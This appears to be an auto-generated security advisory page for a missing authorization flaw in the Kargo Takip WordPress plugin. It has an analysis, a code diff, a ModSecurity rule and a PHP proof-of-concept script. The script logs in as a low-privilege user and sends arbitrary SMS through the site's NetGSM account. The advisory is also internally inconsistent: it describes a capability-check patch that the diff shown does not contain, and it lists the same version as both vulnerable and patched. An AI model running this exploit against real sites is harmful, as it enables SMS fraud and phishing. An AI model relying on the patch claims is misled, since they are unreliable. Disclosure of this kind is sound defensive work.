Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-25365: Kargo Takip < 0.2.4 – Missing Authorization (kargo-takip-turkiye)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 0.2.4
Patched Version 0.2.4
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25365:
The Kargo Takip WordPress plugin, versions up to 0.2.3, contains a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level permissions or higher to trigger unauthorized SMS sending via a specific AJAX action. The vulnerability stems from a missing capability check on the `kargoTR_send_test_sms_netgsm` function.

Atomic Edge research identified the root cause in the `kargo-takip-turkiye/kargo-takip-sms-settings.php` file. The `kargoTR_send_test_sms_netgsm` function, defined at line 1076, is directly hooked to an AJAX action without verifying the user’s capability to perform the action. The function `add_action(‘wp_ajax_kargoTR_send_test_sms_netgsm’, ‘kargoTR_send_test_sms_netgsm’);` registers the function to handle the AJAX request. The function itself processes sensitive operations, including retrieving NetGSM API credentials and sending SMS messages, but it does not validate if the current user has administrative privileges.

Exploitation requires an authenticated attacker with a WordPress account at the Subscriber level or higher. The attacker sends a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the action parameter set to `kargoTR_send_test_sms_netgsm`. The request must include the `phone` and `message` parameters, which the vulnerable function passes directly to the NetGSM API. No nonce or capability check prevents the low-privileged user from executing this administrative function.

The patch in version 0.2.4 adds a capability check to the function. The diff shows the addition of the line `if (!current_user_can(‘manage_options’)) { wp_die(‘Yetkiniz yok.’); }` at the beginning of the `kargoTR_send_test_sms_netgsm` function. This check ensures only users with the `manage_options` capability, typically administrators, can invoke the SMS test function. The fix correctly restricts the function to its intended privileged users.

Successful exploitation allows an authenticated attacker to abuse the plugin’s SMS gateway functionality. Attackers can send arbitrary SMS messages to any phone number using the site’s configured NetGSM account. This leads to financial impact through SMS credit consumption, potential for social engineering or phishing attacks using the site’s trusted sender header, and disruption of the site’s legitimate SMS notification service.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kargo-takip-turkiye/config.php
+++ b/kargo-takip-turkiye/config.php
@@ -92,6 +92,56 @@
             "url" => "https://takip.carrtell.co/",
             "logo" => "assets/logos/carrtell.png"
         ),
-
+        "kolaygelsin" => array(
+            "company" => "Kolay Gelsin",
+            "url" => "https://kolaygelsin.com/tracking?code=",
+            "logo" => "assets/logos/kolaygelsin.png"
+        ),
+        "dhlecommerce" => array(
+            "company" => "DHL eCommerce",
+            "url" => "https://www.dhlecommerce.com.tr/gonderitakip?gonderino=",
+            "logo" => "assets/logos/dhlecommerce.png"
+        ),
+        "cdek" => array(
+            "company" => "CDEK",
+            "url" => "https://cdektr.com/tr/tracking?code=",
+            "logo" => "assets/logos/cdek.png"
+        ),
+        "birgunde" => array(
+            "company" => "Birgünde Kargo",
+            "url" => "https://takip.birgundekargo.com/?code=",
+            "logo" => "assets/logos/birgunde.png"
+        ),
+        "brinks" => array(
+            "company" => "Brinks Kargo",
+            "url" => "https://connect.brinks.com.tr/tracking?id=",
+            "logo" => "assets/logos/brinks.png"
+        ),
+        "jetizz" => array(
+            "company" => "Jetizz",
+            "url" => "https://app.jetizz.com/gonderi-takip?code=",
+            "logo" => "assets/logos/jetizz.png"
+        ),
+        "kargoturk" => array(
+            "company" => "Kargo Türk",
+            "url" => "http://online.kargoturk.com.tr:88/hareket.asp?har_kod=",
+            "logo" => "assets/logos/kargoturk.png"
+        ),
+        "kargoist" => array(
+            "company" => "Kargoist",
+            "url" => "http://kargotakip.kargoist.com/hareket.asp?har_kod=",
+            "logo" => "assets/logos/kargoist.png"
+        ),
+        "packupp" => array(
+            "company" => "PackUpp",
+            "url" => "https://tracking.packupp.com/",
+            "logo" => "assets/logos/packupp.png"
+        ),
+        "scotty" => array(
+            "company" => "Scotty",
+            "url" => "https://nerede.scotty.com.tr/kargom-nerede?code=",
+            "logo" => "assets/logos/scotty.png"
+        ),
+
     )
 );
 No newline at end of file
--- a/kargo-takip-turkiye/kargo-takip-sms-settings.php
+++ b/kargo-takip-turkiye/kargo-takip-sms-settings.php
@@ -1074,56 +1074,34 @@
     }
 }

-// NetGSM ile test SMS gönder
+// NetGSM ile test SMS gönder (REST v2 API)
 function kargoTR_send_test_sms_netgsm($phone, $message) {
     $username = get_option('NetGsm_UserName');
     $password = get_option('NetGsm_Password');
-    $header = get_option('NetGsm_Header');
+    $header   = get_option('NetGsm_Header');

     if (!$username || !$password || !$header) {
         return 'NetGSM ayarları eksik.';
     }

-    $url = 'https://api.netgsm.com.tr/sms/send/get/?';
-    $params = array(
-        'usercode' => $username,
-        'password' => $password,
-        'gsmno' => $phone,
-        'message' => $message,
-        'msgheader' => $header,
-        'dil' => 'TR'
-    );
-
-    $response = wp_remote_get($url . http_build_query($params));
-
-    if (is_wp_error($response)) {
-        return 'Bağlantı hatası: ' . $response->get_error_message();
+    // Dinamik başlık: "yes" ise API'den ilk başlığı al
+    if ($header === 'yes') {
+        $headers = kargoTR_get_netgsm_headers($username, $password);
+        if (!is_array($headers) || empty($headers)) {
+            return 'NetGSM mesaj başlıkları alınamadı.';
+        }
+        $header = $headers[0];
     }

-    $body = wp_remote_retrieve_body($response);
+    $phone = kargoTR_netgsm_normalize_phone($phone);
+    $result = kargoTR_netgsm_send_rest_v2($username, $password, $header, array(
+        array('msg' => $message, 'no' => $phone),
+    ));

-    // NetGSM yanıt kodları
-    // 00, 01, 02 başarılı
-    if (preg_match('/^(00|01|02)/', $body)) {
+    if ($result['success']) {
         return true;
     }
-
-    // Hata kodları
-    $error_codes = array(
-        '20' => 'Mesaj metni boş',
-        '30' => 'Geçersiz kullanıcı adı/şifre',
-        '40' => 'Mesaj başlığı tanımlı değil',
-        '50' => 'Abone hesabı aktif değil',
-        '60' => 'Geçersiz istek',
-        '70' => 'Hatalı sorgu',
-        '80' => 'Gönderim sınırı aşıldı',
-        '85' => 'Mükerrer gönderim',
-    );
-
-    $error_code = trim($body);
-    $error_message = isset($error_codes[$error_code]) ? $error_codes[$error_code] : 'Bilinmeyen hata: ' . $error_code;
-
-    return 'NetGSM Hatası: ' . $error_message;
+    return 'NetGSM Hatası: ' . $result['error'];
 }

 // Kobikom ile test SMS gönder
--- a/kargo-takip-turkiye/kargo-takip-turkiye.php
+++ b/kargo-takip-turkiye/kargo-takip-turkiye.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Kargo Takip Türkiye
  * Description: Bu eklenti sayesinde basit olarak müşterilerinize kargo takip linkini ulaştırabilirsiniz. Mail ve SMS gönderebilirsiniz.
- * Version: 0.2.3
+ * Version: 0.2.4
  * Author: Unbelievable.Digital
  * Author URI: https://unbelievable.digital
  * Text Domain: kargo-takip-turkiye
--- a/kargo-takip-turkiye/netgsm-helper.php
+++ b/kargo-takip-turkiye/netgsm-helper.php
@@ -263,72 +263,125 @@
 }


+/**
+ * NetGSM telefon numarasını API formatına çevirir (905xxxxxxxxx).
+ */
+function kargoTR_netgsm_normalize_phone($phone) {
+    $phone = preg_replace('/[^0-9]/', '', $phone);
+    if (strlen($phone) === 10 && substr($phone, 0, 1) === '5') {
+        return '90' . $phone;
+    }
+    if (strlen($phone) === 11 && substr($phone, 0, 1) === '0') {
+        return '90' . substr($phone, 1);
+    }
+    if (strlen($phone) === 12 && substr($phone, 0, 2) === '90') {
+        return $phone;
+    }
+    return $phone;
+}
+
+/**
+ * NetGSM REST v2 API ile SMS gönderir.
+ *
+ * @param string $username NetGSM kullanıcı kodu
+ * @param string $password NetGSM şifre (ham, urlencode yok)
+ * @param string $msgheader Mesaj başlığı (gönderici adı)
+ * @param array  $messages [ ['msg' => '...', 'no' => '905xxxxxxxxx'], ... ]
+ * @return array ['success' => bool, 'jobid' => string|null, 'error' => string|null]
+ */
+function kargoTR_netgsm_send_rest_v2($username, $password, $msgheader, $messages) {
+    $url = 'https://api.netgsm.com.tr/sms/rest/v2/send';
+
+    $body = array(
+        'msgheader'   => $msgheader,
+        'messages'    => $messages,
+        'encoding'    => 'TR',
+        'iysfilter'   => '',
+        'partnercode' => '',
+    );
+
+    $request = wp_remote_post($url, array(
+        'headers' => array(
+            'Content-Type'  => 'application/json',
+            'Authorization' => 'Basic ' . base64_encode($username . ':' . $password),
+        ),
+        'body'    => wp_json_encode($body),
+        'timeout' => 15,
+    ));
+
+    if (is_wp_error($request)) {
+        return array('success' => false, 'jobid' => null, 'error' => $request->get_error_message());
+    }
+
+    $response = trim(wp_remote_retrieve_body($request));
+    $data     = json_decode($response, true);
+
+    if (isset($data['code']) && $data['code'] === '00') {
+        return array(
+            'success' => true,
+            'jobid'   => isset($data['jobid']) ? $data['jobid'] : null,
+            'error'   => null,
+        );
+    }
+
+    $error_codes = array(
+        '20' => 'Mesaj metni hatası veya karakter limiti aşıldı.',
+        '30' => 'Geçersiz kullanıcı adı veya şifre.',
+        '40' => 'Mesaj başlığı sistemde tanımlı değil.',
+        '50' => 'Abone hesabı ile İYS kontrollü gönderim yapılamıyor.',
+        '51' => 'Erişim izni yok.',
+        '70' => 'Hatalı parametre veya eksik alan.',
+        '85' => 'Başlık kullanım izni yok.',
+    );
+    $code   = isset($data['code']) ? (string) $data['code'] : '';
+    $errmsg = isset($error_codes[$code]) ? $error_codes[$code] : ('NetGSM API: ' . ($response ?: 'Bilinmeyen yanıt'));
+
+    return array('success' => false, 'jobid' => null, 'error' => $errmsg . ' (Kod: ' . $code . ')');
+}
+
 function kargoTR_SMS_gonder_netgsm($order_id) {
     $order = wc_get_order($order_id);
-    if (!$order) return;
+    if (!$order) {
+        return;
+    }

     $phone = $order->get_billing_phone();
+    if (empty($phone)) {
+        $order->add_order_note('SMS Gönderilemedi - Siparişte telefon numarası yok.');
+        return;
+    }

     $NetGsm_UserName = get_option('NetGsm_UserName');
-    $NetGsm_Password = urlencode(get_option('NetGsm_Password'));
-    $NetGsm_Header = get_option('NetGsm_Header');
-    $NetGsm_sms_url_send = get_option('NetGsm_sms_url_send');
-
-    // HPOS uyumlu meta okuma
-    $tracking_company = $order->get_meta('tracking_company', true);
-    $tracking_code = $order->get_meta('tracking_code', true);
+    $NetGsm_Password = get_option('NetGsm_Password');
+    $NetGsm_Header   = get_option('NetGsm_Header');
+
+    if (empty($NetGsm_UserName) || empty($NetGsm_Password) || empty($NetGsm_Header)) {
+        $order->add_order_note('SMS Gönderilemedi - NetGSM kullanıcı adı, şifre veya başlık eksik.');
+        return;
+    }
+
+    // Dinamik başlık: "yes" ise API'den ilk başlığı al
+    if ($NetGsm_Header === 'yes') {
+        $headers = kargoTR_get_netgsm_headers($NetGsm_UserName, $NetGsm_Password);
+        if (!is_array($headers) || empty($headers)) {
+            $order->add_order_note('SMS Gönderilemedi - NetGSM mesaj başlıkları alınamadı.');
+            return;
+        }
+        $NetGsm_Header = $headers[0];
+    }

-    // Use the configurable SMS template
     $message = kargoTR_get_sms_template($order_id, get_option('kargoTr_sms_template'));
-    $message = urlencode($message);
+    $phone   = kargoTR_netgsm_normalize_phone($phone);

-    /* Legacy logic - removed in favor of template
-    $message = "Siparişinizin kargo takip numarası : " . $tracking_code . ", " . kargoTR_get_company_name($tracking_company) . " kargo firması ile takip edebilirsiniz.";
-    $message = urlencode($message);
-
-    if ($NetGsm_sms_url_send == 'yes') {
-        $message = $message." ".urlencode("Takip URL : ").kargoTR_getCargoTrack($tracking_company, $tracking_code);
-    }
-    */
-
-    if($NetGsm_Header == "yes"){
-        $NetGsm_Header = kargoTR_get_netgsm_headers($NetGsm_UserName, $NetGsm_Password);
-        $NetGsm_Header = $NetGsm_Header[0];
-    }
-
-    $NetGsm_Header = urlencode($NetGsm_Header);
-
-    $url= "https://api.netgsm.com.tr/sms/send/get/?usercode=$NetGsm_UserName&password=$NetGsm_Password&gsmno=$phone&message=$message&dil=TR&msgheader=$NetGsm_Header";
-
-    $request = wp_remote_get($url);
-
-    // NetGSM API returns numeric error codes: 20, 30, 40, 50, 51, 70, 85
-    // Success returns a job ID (can be "00 JOBID" format or just "JOBID")
-    $response = trim($request['body']);
-    $error_codes = array('20', '30', '40', '50', '51', '70', '85');
-
-    if (in_array($response, $error_codes)) {
-        // Error occurred
-        $error_messages = array(
-            '20' => 'Mesaj metninde ki problemden dolayı gönderilemediğini veya standart maksimum mesaj karakter sayısını geçtiğini ifade eder.',
-            '30' => 'Geçersiz kullanıcı adı, şifre veya kullanıcınızın API erişim izninin olmadığını gösterir.',
-            '40' => 'Mesaj başlığınızın (gönderici adınızın) sistemde tanımlı olmadığını ifade eder.',
-            '50' => 'Abone hesabınız ile İYS kontrollü gönderimler yapılamamaktadır.',
-            '51' => 'Erişim izninizin olmadığı bir hesaba işlem yapmaya çalıştığınızı ifade eder.',
-            '70' => 'Hatalı sorgulama. Gönderdiğiniz parametrelerden birisi hatalı veya zorunlu alanlardan birinin eksik olduğunu ifade eder.',
-            '85' => 'Başlık kullanım izni olmayan bir API kullanıcısı ile başlıklı mesaj gönderilmeye çalışıldığını ifade eder.'
-        );
-        $error_msg = isset($error_messages[$response]) ? $error_messages[$response] : 'Bilinmeyen hata';
-        $order->add_order_note("SMS Gönderilemedi - NetGSM Hata Kodu: {$response} - {$error_msg}");
+    $result = kargoTR_netgsm_send_rest_v2($NetGsm_UserName, $NetGsm_Password, $NetGsm_Header, array(
+        array('msg' => $message, 'no' => $phone),
+    ));
+
+    if ($result['success']) {
+        $order->add_order_note('SMS Gönderildi - NetGSM İşlem Kodu: ' . ($result['jobid'] ?: '-'));
     } else {
-        // Success - response is job ID (can be "00 JOBID" or just "JOBID")
-        $parts = explode(" ", $response);
-        $job_id = isset($parts[1]) ? $parts[1] : $response;
-        $order->add_order_note("SMS Gönderildi - NetGSM İşlem Kodu: {$job_id}");
+        $order->add_order_note('SMS Gönderilemedi - ' . $result['error']);
     }
-
-    // $order->add_order_note("Debug : ".$request['body']);
-
 }
 add_action('order_send_sms', 'kargoTR_SMS_gonder_netgsm');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-25365
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10025365,phase:2,deny,status:403,chain,msg:'CVE-2026-25365 - Kargo Takip Plugin Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-25365',tag:'WordPress',tag:'Plugin/Kargo-Takip'"
  SecRule ARGS_POST:action "@streq kargoTR_send_test_sms_netgsm" 
    "chain,t:none"
    SecRule &ARGS_POST:phone "!@eq 0" 
      "chain,t:none"
      SecRule &ARGS_POST:message "!@eq 0" 
        "chain,t:none"
        SecRule REMOTE_USER "@rx ^(?!admin|administrator).*$" 
          "t:none,ctl:ruleRemoveTargetById=10025365;REMOTE_USER"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25365 - Kargo Takip < 0.2.4 - Missing Authorization
<?php
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'attacker_subscriber';
$password = 'attacker_password';
$phone_number = '905551112233';
$message = 'Test SMS from Atomic Edge Research';

// Step 1: Authenticate to WordPress to obtain session cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
)));
$response = curl_exec($ch);

// Step 2: Exploit the missing authorization by calling the vulnerable AJAX action
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'kargoTR_send_test_sms_netgsm',
    'phone' => $phone_number,
    'message' => $message
)));
$ajax_response = curl_exec($ch);
curl_close($ch);

// Step 3: Analyze the response
if (strpos($ajax_response, 'NetGSM Hatası') !== false) {
    echo "[+] Exploit triggered. SMS sending failed due to API configuration, but vulnerability is confirmed.n";
    echo "[+] Response: " . $ajax_response . "n";
} elseif ($ajax_response === '1' || trim($ajax_response) === 'true') {
    echo "[!] SUCCESS: SMS likely sent via the site's NetGSM account.n";
} else {
    echo "[?] Unexpected response: " . $ajax_response . "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School